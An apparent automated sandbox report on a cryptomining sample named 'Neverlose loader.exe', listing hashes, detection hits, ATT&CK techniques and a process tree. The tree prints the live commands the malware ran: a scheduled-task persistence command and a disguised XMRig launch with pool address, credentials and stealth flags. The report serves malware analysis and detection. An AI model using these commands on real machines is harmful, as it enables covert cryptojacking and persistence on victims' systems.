xmrig | 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
23/05/2024, 17:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Neverlose loader.exe
Size 17.5MB
Sample240523-v7lpssag48
SHA256 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5
MD5 168929f3be96ea15b5d4b47d917f5a6a
SHA1 e12241a598abcafa9074c163c4bc336df69c822a
SHA512 f82d7759bcbcda008f3d83caaadb53778cfa1adc7eaa868be1947e9f5506578d53898e457af7445c10a847630617d1a60831de08271dc52fd0e2c78976160413
SSDEEP 393216:2e42w6EWKbc19sIIm6SSdigoK0ErYGwMCM46jhrRnztF9hNXW8if+y:2e3w6EW5XXKSScrY8MCwttz/VW8if+y
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/1804-50-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-52-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-55-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-56-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-54-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-58-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-57-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-59-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-61-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig
behavioral2/memory/1804-60-0x0000000140000000-0x000000014074D000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	Neverlose loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation	Services.exe

Executes dropped EXE 3 IoCs

pid	Process
532	sihost64.exe
3440	Services.exe
5500	sihost64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
45	pastebin.com
46	pastebin.com
47	raw.githubusercontent.com
48	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3440 set thread context of 1804	3440	Services.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2504	schtasks.exe
372	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4768	Neverlose loader.exe
4768	Neverlose loader.exe
3440	Services.exe
3440	Services.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4768	Neverlose loader.exe
Token: SeDebugPrivilege	3440	Services.exe
Token: SeLockMemoryPrivilege	1804	svchost.exe
Token: SeLockMemoryPrivilege	1804	svchost.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 3404	4768	Neverlose loader.exe	83
PID 4768 wrote to memory of 3404	4768	Neverlose loader.exe	83
PID 3404 wrote to memory of 2504	3404	cmd.exe	86
PID 3404 wrote to memory of 2504	3404	cmd.exe	86
PID 4768 wrote to memory of 532	4768	Neverlose loader.exe	96
PID 4768 wrote to memory of 532	4768	Neverlose loader.exe	96
PID 4768 wrote to memory of 3440	4768	Neverlose loader.exe	97
PID 4768 wrote to memory of 3440	4768	Neverlose loader.exe	97
PID 3440 wrote to memory of 5772	3440	Services.exe	98
PID 3440 wrote to memory of 5772	3440	Services.exe	98
PID 5772 wrote to memory of 372	5772	cmd.exe	100
PID 5772 wrote to memory of 372	5772	cmd.exe	100
PID 3440 wrote to memory of 5500	3440	Services.exe	105
PID 3440 wrote to memory of 5500	3440	Services.exe	105
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106
PID 3440 wrote to memory of 1804	3440	Services.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Neverlose loader.exe
"C:\Users\Admin\AppData\Local\Temp\Neverlose loader.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:2504
- C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
  2⤵
  - Executes dropped EXE
  PID:532
- C:\Users\Admin\AppData\Local\Temp\Services.exe
  "C:\Users\Admin\AppData\Local\Temp\Services.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5772
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Local\Temp\Services.exe"'
      4⤵
      Creates scheduled task(s)
      PID:372
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    PID:5500
- - C:\Windows\System32\svchost.exe
    C:\Windows/System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.bmpool.org:6004 --user=6047647 --pass=kakachka2707 --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=1 --unam-idle-cpu=80 --unam-stealth
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Services.exe

Path C:\Users\Admin\AppData\Local\Temp\Services.exe
Size 17.5MB
SHA256 3a114634cd7913cbff0c7c8dad3f02350e82ebe6a035111f30881f0ea1183ae5
MD5 168929f3be96ea15b5d4b47d917f5a6a
SHA1 e12241a598abcafa9074c163c4bc336df69c822a
SHA512 f82d7759bcbcda008f3d83caaadb53778cfa1adc7eaa868be1947e9f5506578d53898e457af7445c10a847630617d1a60831de08271dc52fd0e2c78976160413
SSDEEP 393216:2e42w6EWKbc19sIIm6SSdigoK0ErYGwMCM46jhrRnztF9hNXW8if+y:2e3w6EW5XXKSScrY8MCwttz/VW8if+y
MD5 SHA1 SHA512 SSDEEP

Submit Download

WR64.sys

Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
Size 14KB
SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
MD5 0c0195c48b6b8582fa6f6373032118da
SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

sihost64.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Size 7KB
SHA256 128db59ff4218dabd4b745f5bb44ec584ed5f699df62409ec11a6029c55bf2b5
MD5 13a2af68e1f09f9ee056df581903d963
SHA1 62109cc0c09038ca229a2c98e5d2ac57ec41b4de
SHA512 ea3b19588de83f3f9734cbce0bd261a4a0d6bbd9d95b2f40f668fc7e84b588e02e218c23723be5d935fe9523bce611ed9438712884cee609c1c4cac673e9b7d3
SSDEEP 96:LIUd43+PhEK0xnk1xEl1KsVJPDdabjW1TjiOUJ0nPXmTIoDHLWwOgzNt:LIUe3UE1k1x019VzAK1Tj1UJiA5LWu
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/532-20-0x0000000000EC0000-0x0000000000EC6000-memory.dmp

Download

memory/532-33-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

Download

memory/532-27-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

Download

memory/1804-54-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-58-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-60-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-61-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-59-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-57-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-56-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-53-0x0000026D94BC0000-0x0000026D94BD4000-memory.dmp

Download

memory/1804-50-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-52-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/1804-55-0x0000000140000000-0x000000014074D000-memory.dmp

Download

memory/3440-49-0x000000001EA20000-0x000000001EA2E000-memory.dmp

Download

memory/3440-32-0x000000001E780000-0x000000001E78A000-memory.dmp

Download

memory/3440-31-0x000000001E760000-0x000000001E772000-memory.dmp

Download

memory/4768-0-0x00007FFA0EF33000-0x00007FFA0EF35000-memory.dmp

Download

memory/4768-30-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

Download

memory/4768-1-0x0000000000A90000-0x0000000001C18000-memory.dmp

Download

memory/4768-3-0x00007FFA0EF30000-0x00007FFA0F9F1000-memory.dmp

Download